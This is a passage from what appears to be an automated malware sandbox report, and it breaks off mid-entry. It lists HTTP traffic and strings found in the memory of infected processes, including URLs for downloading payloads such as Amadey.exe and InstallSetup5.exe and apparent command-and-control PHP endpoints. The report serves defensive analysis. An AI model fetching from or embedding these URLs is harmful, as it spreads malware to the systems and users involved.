Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Mar 2024 02:30:56 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Content-Length: 299Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 33 2e 31 2e 33 20 50 48 50 2f 38 2e 30 2e 33 30 20 53 65 72 76 65 72 20 61 74 20 31 35 2e 32 30 34 2e 34 39 2e 31 34 38 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Server at 15.204.49.148 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Mar 2024 02:30:56 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Content-Length: 299Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 33 2e 31 2e 33 20 50 48 50 2f 38 2e 30 2e 33 30 20 53 65 72 76 65 72 20 61 74 20 31 35 2e 32 30 34 2e 34 39 2e 31 34 38 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Server at 15.204.49.148 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Mar 2024 02:30:57 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Content-Length: 299Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 33 2e 31 2e 33 20 50 48 50 2f 38 2e 30 2e 33 30 20 53 65 72 76 65 72 20 61 74 20 31 35 2e 32 30 34 2e 34 39 2e 31 34 38 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Server at 15.204.49.148 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Mar 2024 02:30:58 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Content-Length: 299Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 33 2e 31 2e 33 20 50 48 50 2f 38 2e 30 2e 33 30 20 53 65 72 76 65 72 20 61 74 20 31 35 2e 32 30 34 2e 34 39 2e 31 34 38 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Server at 15.204.49.148 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Mar 2024 02:30:58 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Content-Length: 299Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 33 2e 31 2e 33 20 50 48 50 2f 38 2e 30 2e 33 30 20 53 65 72 76 65 72 20 61 74 20 31 35 2e 32 30 34 2e 34 39 2e 31 34 38 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Server at 15.204.49.148 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Mar 2024 02:30:59 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Content-Length: 299Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 33 2e 31 2e 33 20 50 48 50 2f 38 2e 30 2e 33 30 20 53 65 72 76 65 72 20 61 74 20 31 35 2e 32 30 34 2e 34 39 2e 31 34 38 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Server at 15.204.49.148 Port 80</address></body></html>

Source: AddInProcess32.exe, 00000005.00000002.4510003590.000000000351B000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.000000000350F000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.000000000307D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://15.204.49.148
Source: AddInProcess32.exe, 00000005.00000002.4510003590.0000000003061000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.000000000302C000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.000000000307D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003121000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://15.204.49.148/files/Amadey.exe
Source: AddInProcess32.exe, 00000005.00000002.4510003590.000000000351B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://15.204.49.148/files/Amadey.exe4kF
Source: AddInProcess32.exe, 00000005.00000002.4510003590.0000000003061000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003121000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://15.204.49.148/files/Silent.exe
Source: AddInProcess32.exe, 00000005.00000002.4510003590.0000000003452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128
Source: AddInProcess32.exe, 00000005.00000002.4510003590.000000000350F000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.000000000307D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.126
Source: AddInProcess32.exe, 00000005.00000002.4510003590.0000000003061000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003176000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.00000000031BD000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.000000000307D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003121000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.000000000318F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.126/InstallSetup5.exe
Source: AddInProcess32.exe, 00000005.00000002.4510003590.0000000003176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.126/InstallSetup5.exe2
Source: AddInProcess32.exe, 00000005.00000002.4510003590.00000000030BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.126/InstallSetup5.exe4kF
Source: syncUpd.exe, 0000000F.00000002.2758288970.0000000000958000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.145
Source: syncUpd.exe, 0000000F.00000002.2758288970.0000000000996000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.145/
Source: syncUpd.exe, 0000000F.00000002.2758288970.0000000000996000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.145/&
Source: syncUpd.exe, 0000000F.00000002.2757736487.0000000000439000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.172.128.145/15f649199f40275b/sqlite3.dll
Source: syncUpd.exe, 0000000F.00000002.2758288970.0000000000996000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.145/15f649199f40275b/sqlite3.dll/
Source: syncUpd.exe, 0000000F.00000002.2758288970.0000000000996000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.145/15f649199f40275b/sqlite3.dll0X
Source: syncUpd.exe, 0000000F.00000002.2758288970.0000000000996000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.145/15f649199f40275b/sqlite3.dll1
Source: syncUpd.exe, 0000000F.00000002.2758288970.0000000000996000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.145/15f649199f40275b/sqlite3.dll2b41cbde8fc9c.php
Source: syncUpd.exe, 0000000F.00000002.2758288970.0000000000996000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.145/15f649199f40275b/sqlite3.dll=
Source: syncUpd.exe, 0000000F.00000002.2758288970.0000000000996000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.145/15f649199f40275b/sqlite3.dll_
Source: syncUpd.exe, 0000000F.00000002.2758288970.0000000000996000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.145/15f649199f40275b/sqlite3.dllg
Source: syncUpd.exe, 0000000F.00000002.2757736487.0000000000435000.00000040.00000001.01000000.0000000D.sdmp, syncUpd.exe, 0000000F.00000002.2758288970.0000000000958000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.145/3cd2b41cbde8fc9c.php
Source: syncUpd.exe, 0000000F.00000002.2758288970.0000000000958000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.145/3cd2b41cbde8fc9c.php$Z
Source: syncUpd.exe, 0000000F.00000002.2758288970.00000000009AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.145/3cd2b41cbde8fc9c.php1
Source: syncUpd.exe, 0000000F.00000002.2758288970.0000000000958000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.145/3cd2b41cbde8fc9c.php1Z
Source: syncUpd.exe, 0000000F.00000002.2758288970.0000000000996000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.145/3cd2b41cbde8fc9c.php4
Source: syncUpd.exe, 0000000F.00000002.2758288970.0000000000996000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.145/3cd2b41cbde8fc9c.php8
Source: syncUpd.exe, 0000000F.00000002.2758288970.0000000000958000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.145/3cd2b41cbde8fc9c.phpAZ
Source: syncUpd.exe, 0000000F.00000002.2758288970.00000000009AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.145/3cd2b41cbde8fc9c.php_
Source: syncUpd.exe, 0000000F.00000002.2757736487.0000000000444000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.172.128.145/3cd2b41cbde8fc9c.phpinit.exe
Source: syncUpd.exe, 0000000F.00000002.2758288970.0000000000958000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.145/xtensibility
Source: syncUpd.exe, 0000000F.00000002.2758288970.0000000000958000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.145/yZ)K
Source: kDgMkoNM3lKxwY8D8wOiP15F.exe, 0000000D.00000002.2700588489.000000000073D000.00000004.00000020.00020000.00000000.sdmp, kDgMkoNM3lKxwY8D8wOiP15F.exe, 0000000D.00000003.2700108075.000000000073D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.187/
Source: kDgMkoNM3lKxwY8D8wOiP15F.exe, 0000000D.00000002.2700588489.0000000000753000.00000004.00000020.00020000.00000000.sdmp, kDgMkoNM3lKxwY8D8wOiP15F.exe, 0000000D.00000003.2700108075.0000000000753000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.187/H
Source: kDgMkoNM3lKxwY8D8wOiP15F.exe, 0000000D.00000002.2700588489.00000000006EE000.00000004.00000020.00020000.00000000.sdmp, 3BiVM2uOsvGVXA1BoDorVuCU.exe, 3BiVM2uOsvGVXA1BoDorVuCU.exe, 0000000E.00000002.4487019823.0000000000412000.00000004.00000001.01000000.0000000C.sdmp, 3BiVM2uOsvGVXA1BoDorVuCU.exe, 0000000E.00000002.4490727570.000000000069E000.00000004.00000020.00020000.00000000.sdmp, 3BiVM2uOsvGVXA1BoDorVuCU.exe, 0000000E.00000002.4501706269.0000000002C23000.00000004.00000020.00020000.00000000.sdmp, BTnjKpTBDzKtQo69b5SrwYDx.exe, 00000013.00000002.4480254087.0000000000412000.00000004.00000001.01000000.00000010.sdmp, BTnjKpTBDzKtQo69b5SrwYDx.exe, 00000013.00000002.4487258347.0000000002E66000.00000004.00000020.00020000.00000000.sdmp, BTnjKpTBDzKtQo69b5SrwYDx.exe, 00000013.00000002.4486682883.000000000091E000.00000004.00000020.00020000.00000000.sdmp, yq7sRYx0zxf2nUHNI8myIvQb.exe, 00000017.00000002.4485507430.0000000002D7E000.00000004.00000020.00020000.00000000.sdmp, yq7sRYx0zxf2nUHNI8myIvQb.exe, 00000017.00000002.4484255105.000000000076E000.00000004.00000020.00020000.00000000.sdmp, yq7sRYx0zxf2nUHNI8myIvQb.exe, 00000017.00000002.4483816947.0000000000412000.00000004.00000001.01000000.00000016.sdmp, yzAPe25HGnxqbkafYprXvqQ2.exe, 00000018.00000002.4484686796.000000000083E000.00000004.00000020.00020000.00000000.sdmp, yzAPe25HGnxqbkafYprXvqQ2.exe, 00000018.00000002.4485400126.0000000002C5F000.00000004.00000020.00020000.00000000.sdmp, yzAPe25HGnxqbkafYprXvqQ2.exe, 00000018.00000002.4483899417.0000000000412000.00000004.00000001.01000000.00000017.sdmp	String found in binary or memory: http://185.172.128.187/ping.php?substr=five
Source: kDgMkoNM3lKxwY8D8wOiP15F.exe, 0000000D.00000002.2700588489.0000000000753000.00000004.00000020.00020000.00000000.sdmp, kDgMkoNM3lKxwY8D8wOiP15F.exe, 0000000D.00000003.2700108075.0000000000753000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.187/ping.php?substr=five-minuser-l1-1-0
Source: kDgMkoNM3lKxwY8D8wOiP15F.exe, 0000000D.00000002.2700588489.000000000073D000.00000004.00000020.00020000.00000000.sdmp, kDgMkoNM3lKxwY8D8wOiP15F.exe, 0000000D.00000003.2700108075.000000000073D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.187/ping.php?substr=five1
Source: kDgMkoNM3lKxwY8D8wOiP15F.exe, 0000000D.00000002.2700588489.000000000073D000.00000004.00000020.00020000.00000000.sdmp, kDgMkoNM3lKxwY8D8wOiP15F.exe, 0000000D.00000003.2700108075.000000000073D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.187/ping.php?substr=five==v
Source: kDgMkoNM3lKxwY8D8wOiP15F.exe, 0000000D.00000002.2700588489.0000000000765000.00000004.00000020.00020000.00000000.sdmp, kDgMkoNM3lKxwY8D8wOiP15F.exe, 0000000D.00000003.2700108075.0000000000765000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.187/ping.php?substr=fivep
Source: kDgMkoNM3lKxwY8D8wOiP15F.exe, 0000000D.00000002.2700588489.0000000000730000.00000004.00000020.00020000.00000000.sdmp, kDgMkoNM3lKxwY8D8wOiP15F.exe, 0000000D.00000002.2700588489.00000000006EE000.00000004.00000020.00020000.00000000.sdmp, 3BiVM2uOsvGVXA1BoDorVuCU.exe, 3BiVM2uOsvGVXA1BoDorVuCU.exe, 0000000E.00000002.4487019823.0000000000412000.00000004.00000001.01000000.0000000C.sdmp, 3BiVM2uOsvGVXA1BoDorVuCU.exe, 0000000E.00000002.4490727570.000000000069E000.00000004.00000020.00020000.00000000.sdmp, 3BiVM2uOsvGVXA1BoDorVuCU.exe, 0000000E.00000002.4501706269.0000000002C23000.00000004.00000020.00020000.00000000.sdmp, BTnjKpTBDzKtQo69b5SrwYDx.exe, 00000013.00000002.4480254087.0000000000412000.00000004.00000001.01000000.00000010.sdmp, BTnjKpTBDzKtQo69b5SrwYDx.exe, 00000013.00000002.4487258347.0000000002E66000.00000004.00000020.00020000.00000000.sdmp, BTnjKpTBDzKtQo69b5SrwYDx.exe, 00000013.00000002.4486682883.000000000091E000.00000004.00000020.00020000.00000000.sdmp, yq7sRYx0zxf2nUHNI8myIvQb.exe, 00000017.00000002.4485507430.0000000002D7E000.00000004.00000020.00020000.00000000.sdmp, yq7sRYx0zxf2nUHNI8myIvQb.exe, 00000017.00000002.4484255105.000000000076E000.00000004.00000020.00020000.00000000.sdmp, yq7sRYx0zxf2nUHNI8myIvQb.exe, 00000017.00000002.4483816947.0000000000412000.00000004.00000001.01000000.00000016.sdmp, yzAPe25HGnxqbkafYprXvqQ2.exe, 00000018.00000002.4484686796.000000000083E000.00000004.00000020.00020000.00000000.sdmp, yzAPe25HGnxqbkafYprXvqQ2.exe, 00000018.00000002.4485400126.0000000002C5F000.00000004.00000020.00020000.00000000.sdmp, yzAPe25HGnxqbkafYprXvqQ2.exe, 00000018.00000002.4483899417.0000000000412000.00000004.00000001.01000000.00000017.sdmp	String found in binary or memory: http://185.172.128.90/cpa/ping.php?substr=five&s=ab
Source: kDgMkoNM3lKxwY8D8wOiP15F.exe, 0000000D.00000002.2700910460.0000000002D85000.00000004.00000020.00020000.00000000.sdmp, kDgMkoNM3lKxwY8D8wOiP15F.exe, 0000000D.00000002.2700588489.00000000006EE000.00000004.00000020.00020000.00000000.sdmp, 3BiVM2uOsvGVXA1BoDorVuCU.exe, 0000000E.00000002.4487019823.0000000000412000.00000004.00000001.01000000.0000000C.sdmp, 3BiVM2uOsvGVXA1BoDorVuCU.exe, 0000000E.00000002.4490727570.000000000069E000.00000004.00000020.00020000.00000000.sdmp, 3BiVM2uOsvGVXA1BoDorVuCU.exe, 0000000E.00000002.4501706269.0000000002C23000.00000004.00000020.00020000.00000000.sdmp, BTnjKpTBDzKtQo69b5SrwYDx.exe, 00000013.00000002.4480254087.0000000000412000.00000004.00000001.01000000.00000010.sdmp, BTnjKpTBDzKtQo69b5SrwYDx.exe, 00000013.00000002.4487258347.0000000002E66000.00000004.00000020.00020000.00000000.sdmp, BTnjKpTBDzKtQo69b5SrwYDx.exe, 00000013.00000002.4486682883.000000000091E000.00000004.00000020.00020000.00000000.sdmp, yq7sRYx0zxf2nUHNI8myIvQb.exe, 00000017.00000002.4485507430.0000000002D7E000.00000004.00000020.00020000.00000000.sdmp, yq7sRYx0zxf2nUHNI8myIvQb.exe, 00000017.00000002.4484255105.000000000076E000.00000004.00000020.00020000.00000000.sdmp, yq7sRYx0zxf2nUHNI8myIvQb.exe, 00000017.00000002.4483816947.0000000000412000.00000004.00000001.01000000.00000016.sdmp, yzAPe25HGnxqbkafYprXvqQ2.exe, 00000018.00000002.4484686796.000000000083E000.00000004.00000020.00020000.00000000.sdmp, yzAPe25HGnxqbkafYprXvqQ2.exe, 00000018.00000002.4485400126.0000000002C5F000.00000004.00000020.00020000.00000000.sdmp, yzAPe25HGnxqbkafYprXvqQ2.exe, 00000018.00000002.4483899417.0000000000412000.00000004.00000001.01000000.00000017.sdmp	String found in binary or memory: http://185.172.128.90/cpa/ping.php?substr=five&s=ab/SILENT/TOSTACK/NOCANCELgethttp://185.172.128.187
Source: kDgMkoNM3lKxwY8D8wOiP15F.exe, 0000000D.00000003.2700108075.0000000000730000.00000004.00000020.00020000.00000000.sdmp, kDgMkoNM3lKxwY8D8wOiP15F.exe, 0000000D.00000002.2700588489.0000000000730000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.90/cpa/ping.php?substr=five&s=abA0
Source: kDgMkoNM3lKxwY8D8wOiP15F.exe, 0000000D.00000003.2700108075.0000000000730000.00000004.00000020.00020000.00000000.sdmp, kDgMkoNM3lKxwY8D8wOiP15F.exe, 0000000D.00000002.2700588489.0000000000730000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.90/cpa/ping.php?substr=five&s=ab_0
Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, sUyDoVTGsfEnMY0oeyexTBut.exe, VvPx7JMqkEvTJAQ2rPS2y2wf.exe	String found in binary or memory: http://archive.org/details/archive.org_bot)Mozilla/5.0
Source: AddInProcess32.exe, 00000005.00000002.4510003590.0000000003452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://bitbucket.org
Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3275239614.0000000001202000.00000040.00000020.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3187282898.0000000001170000.00000040.00000020.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3269213397.0000000001022000.00000040.00000020.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3245748971.000000000110C000.00000040.00000020.00020000.00000000.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3195890952.00000000010DF000.00000040.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.g
Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.00000000031E3000.00000040.00001000.00020000.00000000.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000843000.00000040.00000001.01000000.00000012.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000843000.00000040.00000001.01000000.0000000E.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.0000000003253000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.0000000003203000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000843000.00000040.00000001.01000000.00000011.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 